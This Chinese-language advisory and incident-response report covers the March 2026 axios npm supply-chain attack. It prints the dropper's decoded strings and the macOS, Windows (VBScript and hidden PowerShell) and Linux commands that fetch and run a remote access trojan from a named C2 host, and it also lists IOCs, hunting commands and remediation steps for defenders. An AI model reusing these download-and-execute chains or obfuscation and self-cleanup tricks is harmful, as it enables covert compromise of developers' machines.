文章总结: 报告详细分析了Axios供应链投毒事件。攻击者劫持了axios维护者的npm账号,发布了恶意版本(1.14.1和0.30.4),这些版本通过注入幽灵依赖[email protected],在安装时投放跨平台远程访问木马(RAT)。攻击利用了postinstall脚本执行混淆的setup.js,该脚本会根据不同操作系统(macOS、Windows、Linux)下载并执行特定载荷,并发送伪装成npm通信的C2请求。完成投毒后,恶意代码会自动清理痕迹以销毁证据。 综合评分: 95 文章分类: 供应链安全,恶意软件,漏洞预警,应急响应,网络安全
Axios 供应链投毒安全事件预警与排查报告
猎户攻防实验室
2026年3月31日 14:26 北京
字数 3099,阅读大约需 16 分钟
Axios 供应链投毒安全事件预警与排查报告
一、事件概述
2026 年 3 月 31 日,安全研究机构 StepSecurity 发现 JavaScript 生态中最广泛使用的 HTTP 客户端库 axios 遭遇供应链攻击。攻击者劫持了 axios 首席维护者 jasonsaayman 的 npm 账号,成功向 npm 注册表发布了两个恶意版本。攻击者在 axios 源码中未注入任何恶意代码,而是通过注入一个幽灵依赖 [email protected],利用其 postinstall 脚本在安装时静默投放跨平台 RAT(远程访问木马)。
如果已安装
[email protected]或[email protected],请假设系统已被控制。
二、攻击时间线
整个攻击预置时间跨度约 18 小时,展现了高度成熟的运营能力:
| 时间(北京时间) | 事件 | 详情 |
| — | — | — |
| 2026-03-30 13:57 | [email protected] 发布 | 由攻击者账号 [email protected] 发布。这是一个干净的伪装包,包含合法 crypto-js 源码的完整副本,无 postinstall 钩子。唯一目的是建立 npm 发布历史,使后续恶意版本在审查时不至于被标记为”零历史新包”。 |
| 2026-03-31 07:59 | [email protected] 发布 | 同一攻击者账号发布恶意载荷版本。postinstall: "node setup.js" 钩子和混淆投放器被引入。同时预置了 package.md(干净伪装的 package.json 存根),为后续自清理做准备。 |
| 2026-03-31 08:21 | [email protected] 发布 | 被劫持的 jasonsaayman 账号(邮箱已被改为 [email protected])手动通过 npm CLI 发布。注入 plain-crypto-js@^4.2.1 为运行时依赖,目标为 1.x 现代用户群。 |
| 2026-03-31 09:00 | [email protected] 发布 | 同一被劫持账号发布。两个版本分支在 39 分钟内被同时投毒,最大化覆盖面。 |
| 2026-03-31 ~09:30 | StepSecurity 检测到异常 | StepSecurity AI Package Analyst 和 Harden-Runner 在运行时验证中捕获到 C2 通信,确认为恶意包。 |
| 2026-03-31 ~10:00+ | 社区响应 | 安全研究员 @feross 等人在社交媒体发出公开预警。npm 官方开始处理。 |
所有合法的 axios 1.x 版本均通过 GitHub Actions + npm OIDC Trusted Publisher 机制发布,发布行为与特定 GitHub Actions 工作流密码学绑定。[email protected] 完全打破了这一模式——通过窃取的长期经典 npm Access Token 手动发布,没有 OIDC 绑定,GitHub 仓库中也不存在对应的 commit 或 tag。该版本仅存在于 npm 注册表中。
三、攻击链路详细技术分析
3.1 整体攻击链
3.2 幽灵依赖注入
axios 源码中 plain-crypto-js 从未被 import 或 require()。对比依赖差异:
| 版本 | 依赖列表 | 状态 | | — | — | — | | [email protected] | follow-redirects, form-data, proxy-from-env | 安全 | | [email protected] | follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 | 恶意 | | [email protected] | follow-redirects, form-data, proxy-from-env | 安全 | | [email protected] | follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 | 恶意 |
仅新增了一个从未被使用的依赖。
3.3 投放器 setup.js 混淆技术
setup.js 是一个单文件混淆投放器,采用 双层混淆方案:
字符串编码数组 stq[] — 所有敏感字符串(模块名、OS 标识符、Shell 命令、C2 URL、文件路径)均以编码值存储。
解密函数:
- •
_trans_1(x, r)— XOR 密码。密钥"OrDeR_7077"通过 JavaScriptNumber()解析:字母产生NaN(位运算中变为 0),仅第 6-9 位的数字7,0,7,7保留,有效密钥为[0,0,0,0,0,0,7,0,7,7]。每个字符按位置r解码为:
charCode XOR key[(7 × r × r) % 10] XOR 333
- •
_trans_2(x, r)— 外层:反转编码字符串 → 将_替换为=→ Base64 解码(以 UTF-8 恢复 Unicode 码点)→ 传入_trans_1二次解密。
入口点: _entry("6202033"),其中 6202033 是 C2 URL 路径段。
完全解码后的关键字符串:
stq[0] → "child_process" // Shell 执行
stq[1] → "os" // 平台检测
stq[2] → "fs" // 文件系统操作
stq[3] → "http://sfrclak.com:8000/" // C2 基础 URL
stq[5] → "win32" // Windows 平台标识
stq[6] → "darwin" // macOS 平台标识
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json" // 执行后删除
stq[14] → "package.md" // 干净存根重命名为 package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"
四、平台特定载荷详细分析
4.1 macOS — AppleScript 投放器
触发条件: os.platform() === "darwin"
执行链:
do shell script "curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
&> /dev/null"
执行方式: nohup osascript "<temp_file>" > /dev/null 2>&1 &
C2 POST Body: packages.npm.org/product0
持久化文件: /Library/Caches/com.apple.act.mond
伪装策略:
- •
/Library/Caches/是系统级缓存目录,在事件响应中极少被检查 - •
com.apple.act.mond模仿 Apple 反向 DNS 守护进程命名惯例 - • 后缀
mond可能是 “Activity Monitor Daemon” 的缩写,与该目录下的合法 Apple 后台进程混在一起
临时文件: AppleScript 临时文件执行后自动删除
4.2 Windows — VBScript + PowerShell 三阶段投放器
触发条件: os.platform() === "win32"
三阶段执行链:
阶段 1 — 定位并复制 PowerShell:
where powershell → 复制到 %PROGRAMDATA%\wt.exe
将 PowerShell 二进制伪装为 Windows Terminal 可执行文件,提供持久化的解释器副本。
阶段 2 — 生成并执行 VBScript:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
"-d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" " & _
"& powershell -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" " & _
"""http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f", 0, False
执行方式: cscript //nologo %TEMP%\6202033.vbs
- •
0, False— 完全隐藏 cmd.exe 窗口,无任何 UI 输出
阶段 3 — PowerShell RAT 执行:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -file %TEMP%\6202033.ps1 http://sfrclak.com:8000/6202033
C2 POST Body: packages.npm.org/product1
文件系统产物:
| 文件 | 用途 | 生命周期 |
| — | — | — |
| %PROGRAMDATA%\wt.exe | 持久化的 PowerShell 解释器副本 | 持久 — 唯一残留 |
| %TEMP%\6202033.vbs | VBScript 启动器 | 自删除 — 执行后自动删除 |
| %TEMP%\6202033.ps1 | PowerShell RAT 脚本 | 自删除 — 执行后自动删除 |
文件名
6202033直接使用 C2 路径段(Campaign ID),是攻击者行动标识。
4.3 Linux — Python 直接投放器
触发条件: 所有其他平台(Linux 等)
执行链:
curl -o /tmp/ld.py \
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
执行方式: Node.js execSync() 直接执行 Shell 命令
C2 POST Body: packages.npm.org/product2
持久化文件: /tmp/ld.py — 保留在磁盘上(使用 nohup 后台运行)
4.4 C2 通信设计
三个平台发送不同的 POST Body 到同一 C2 端点:
| 平台 | POST Body | 返回载荷 |
| — | — | — |
| macOS | packages.npm.org/product0 | macOS RAT 二进制 |
| Windows | packages.npm.org/product1 | PowerShell RAT 脚本 |
| Linux | packages.npm.org/product2 | Python RAT 脚本 |
packages.npm.org/前缀是刻意伪装——使出站流量在网络日志和 SIEM 规则中一眼看去像正常的 npm 注册表通信。
五、自清理机制 — 证据销毁
载荷投放完成后,setup.js 执行三步法医清理:
步骤 1: fs.unlink(__filename) → 删除 setup.js 自身
步骤 2: fs.unlink("package.json") → 删除含 postinstall 钩子的清单
步骤 3: fs.rename("package.md", "package.json") → 干净存根替换
效果: 事后检查 node_modules/plain-crypto-js/package.json 将显示完全干净的清单(版本 4.2.0,无 postinstall,无 setup.js 引用)。运行 npm audit 或手动审查已安装包目录不会发现任何异常。
关键排查线索: 即使清理完成后,
node_modules/plain-crypto-js/目录的存在本身就是被入侵的证据——该包不是任何合法 axios 版本的依赖。如果发现此目录,说明投放器已经执行。
六、IOC — 完整威胁指标清单
7.1 恶意 npm 包
| 包名 | 版本 | SHA1 |
| — | — | — |
| axios | 1.14.1 | 2553649f2322049666871cea80a5d0d6adc700ca |
| axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
| plain-crypto-js | 4.2.0 | (干净伪装包,用于建立发布历史) |
7.2 安全版本参考
| 包名 | 安全版本 | SHA1 |
| — | — | — |
| axios | 1.14.0 | 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb |
| axios | 0.30.3 | ab1be887a2d37dd9ebc219657704180faf2c4920 |
7.3 网络指标
| 类型 | 值 |
| — | — |
| C2 域名 | sfrclak.com |
| C2 IP | 142.11.206.73 |
| C2 URL | http://sfrclak.com:8000/6202033 |
7.4 文件系统指标
| 平台 | 路径 | 类型 | 说明 |
| — | — | — | — |
| macOS | /Library/Caches/com.apple.act.mond | 持久 | macOS RAT 二进制,伪装为 Apple 系统缓存守护进程 |
| Windows | %PROGRAMDATA%\wt.exe | 持久 | PowerShell 解释器副本,伪装为 Windows Terminal |
| Windows | %TEMP%\6202033.vbs | 临时(自删除) | VBScript 启动器,执行后自动删除 |
| Windows | %TEMP%\6202033.ps1 | 临时(自删除) | PowerShell RAT 脚本,执行后自动删除 |
| Linux | /tmp/ld.py | 持久 | Python RAT 脚本,nohup 后台运行后保留在磁盘 |
| 全平台 | node_modules/plain-crypto-js/setup.js | 已删除 | 投放器主体,自清理删除 |
| 全平台 | node_modules/plain-crypto-js/package.md | 残留 | 原为干净存根,已被重命名为 package.json |
7.5 攻击者控制账号
| 账号 | 类型 | 邮箱 |
| — | — | — |
| jasonsaayman | 被劫持的合法 axios 维护者账号 | 邮箱被改为 [email protected] |
| nrwise | 攻击者创建的一次性账号 | [email protected] |
八、排查指南
8.1 依赖检查
# 检查 axios 版本
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
# 检查 yarn.lock
grep '[email protected]\|[email protected]' yarn.lock
# 检查 pnpm-lock.yaml
grep '[email protected]\|[email protected]' pnpm-lock.yaml
# 关键检查:plain-crypto-js 目录是否存在(即使 package.json 已被替换)
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
8.2 系统层面排查
macOS
# 检查 RAT 二进制
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# 检查异常进程
ps aux | grep -i "com.apple.act.mond"
# 检查文件哈希
shasum /Library/Caches/com.apple.act.mond 2>/dev/null
Linux
# 检查 RAT 脚本
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED"
# 检查异常进程
ps aux | grep -i "ld.py"
# 检查文件内容
head -20 /tmp/ld.py 2>/dev/null
Windows
# 检查持久化文件
Test-Path"$env:PROGRAMDATA\wt.exe"
Get-Item"$env:PROGRAMDATA\wt.exe"-ErrorAction SilentlyContinue
# 检查文件哈希
Get-FileHash"$env:PROGRAMDATA\wt.exe"-Algorithm SHA256
# 检查异常进程
Get-Process | Where-Object { $_.Path -eq"$env:PROGRAMDATA\wt.exe" }
# 注意:临时文件 6202033.vbs 和 6202033.ps1 已自删除
# 但可通过事件日志和 Prefetch 追溯
Get-WinEvent-FilterHashtable@{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Message -match'6202033' }
# 检查 PowerShell Script Block 日志
Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents1000 |
Where-Object { $_.Message -like"*sfrclak*"-or$_.Message -like"*6202033*" }
8.3 网络层排查
# DNS 查询历史
grep "sfrclak" /var/log/dns.log 2>/dev/null
grep "sfrclak" /var/log/syslog 2>/dev/null
# 出站连接
netstat -antp | grep "142.11.206.73"
netstat -antp | grep "8000"
ss -antp | grep "sfrclak"
# 防火墙日志
grep "sfrclak\|142.11.206.73" /var/log/firewall.log 2>/dev/null
# HTTP 代理日志
grep "packages.npm.org/product" /var/log/squid/access.log 2>/dev/null
8.4 CI/CD 管道排查
# GitHub Actions 日志
grep -r "axios.*1.14.1\|axios.*0.30.4" .github/
grep -r "sfrclak\|142.11.206.73" .github/
# 检查 Docker 镜像
docker history <image> | grep axios
docker run --rm <image> sh -c "npm ls axios 2>/dev/null; ls node_modules/plain-crypto-js 2>/dev/null"
# 检查制品仓库缓存(Artifactory/Nexus)
# 需通过各平台 API 查询是否存在 [email protected] 或 [email protected] 的缓存
# 检查 CI/CD 中是否有 npm install 执行记录拉取了受影响版本
# 任何安装了受影响版本的 Pipeline 均应视为已被入侵
九、应急处置措施
9.1 立即行动
# 1. 回退 axios 并锁定版本
npm install [email protected] # 1.x 用户
npm install [email protected] # 0.x 用户
# 2. 添加 overrides 防止传递依赖解析回恶意版本
# package.json:
{
"dependencies": { "axios": "1.14.0" },
"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }
}
# 3. 移除恶意依赖并重新安装
rm -rf node_modules/plain-crypto-js
npm cache clean --force
rm -rf node_modules package-lock.json
npm install --ignore-scripts
# 4. 阻断 C2 通信
iptables -A OUTPUT -d 142.11.206.73 -j DROP
echo"0.0.0.0 sfrclak.com" >> /etc/hosts
9.2 凭据轮换
如果确认安装了恶意版本,必须假设系统已被完全控制:
- • 轮换所有 npm Access Token
- • 轮换 GitHub Personal Access Token (PAT)
- • 轮换 AWS Access Key / Secret Key
- • 轮换 GCP Service Account Key
- • 轮换 Azure 凭据
- • 轮换所有数据库连接字符串
- • 轮换 SSH 私钥
- • 轮换 CI/CD Secrets(GitHub Actions Secrets、GitLab CI Variables 等)
- • 审计
.env文件中所有可能被读取的密钥 - • 重置 npm 账号密码,启用硬件 2FA
- • 审计 GitHub 仓库 Webhook、Apps 和 OAuth 授权
9.3 系统重置(如已确认感染)
- • 隔离受感染主机 — 立即断网
- • 全盘取证 — 断网状态下导出内存镜像和磁盘镜像
- • 不要尝试原地清理 — 重建已知安全状态
- • 重新部署 — 使用已验证安全的制品重新部署
九、攻击特征总结
此次攻击是有记录以来对 Top-10 npm 包最成熟的供应链攻击之一:
- 1. 预置 18 小时 — 恶意依赖提前发布以避免”新包”告警
- 2. 三平台预构建载荷 — macOS/Windows/Linux 各自独立的第二阶段载荷
- 3. 39 分钟双分支投毒 — 1.x 和 0.x 同时命中
- 4. 每条痕迹均设计为自毁 — setup.js 删除自身、替换 package.json
- 5. 进程树逃逸 — 使用 nohup 脱离父进程,规避进程归因
- 6. C2 伪装为 npm 流量 — POST Body 使用
packages.npm.org/前缀 - 7. 零源码修改 — axios 源码中无一行恶意代码,仅通过幽灵依赖触发
十、参考来源
- • StepSecurity — axios Compromised on npm: Full Technical Analysis https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:猎户攻防实验室 null《Axios 供应链投毒安全事件预警与排查报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论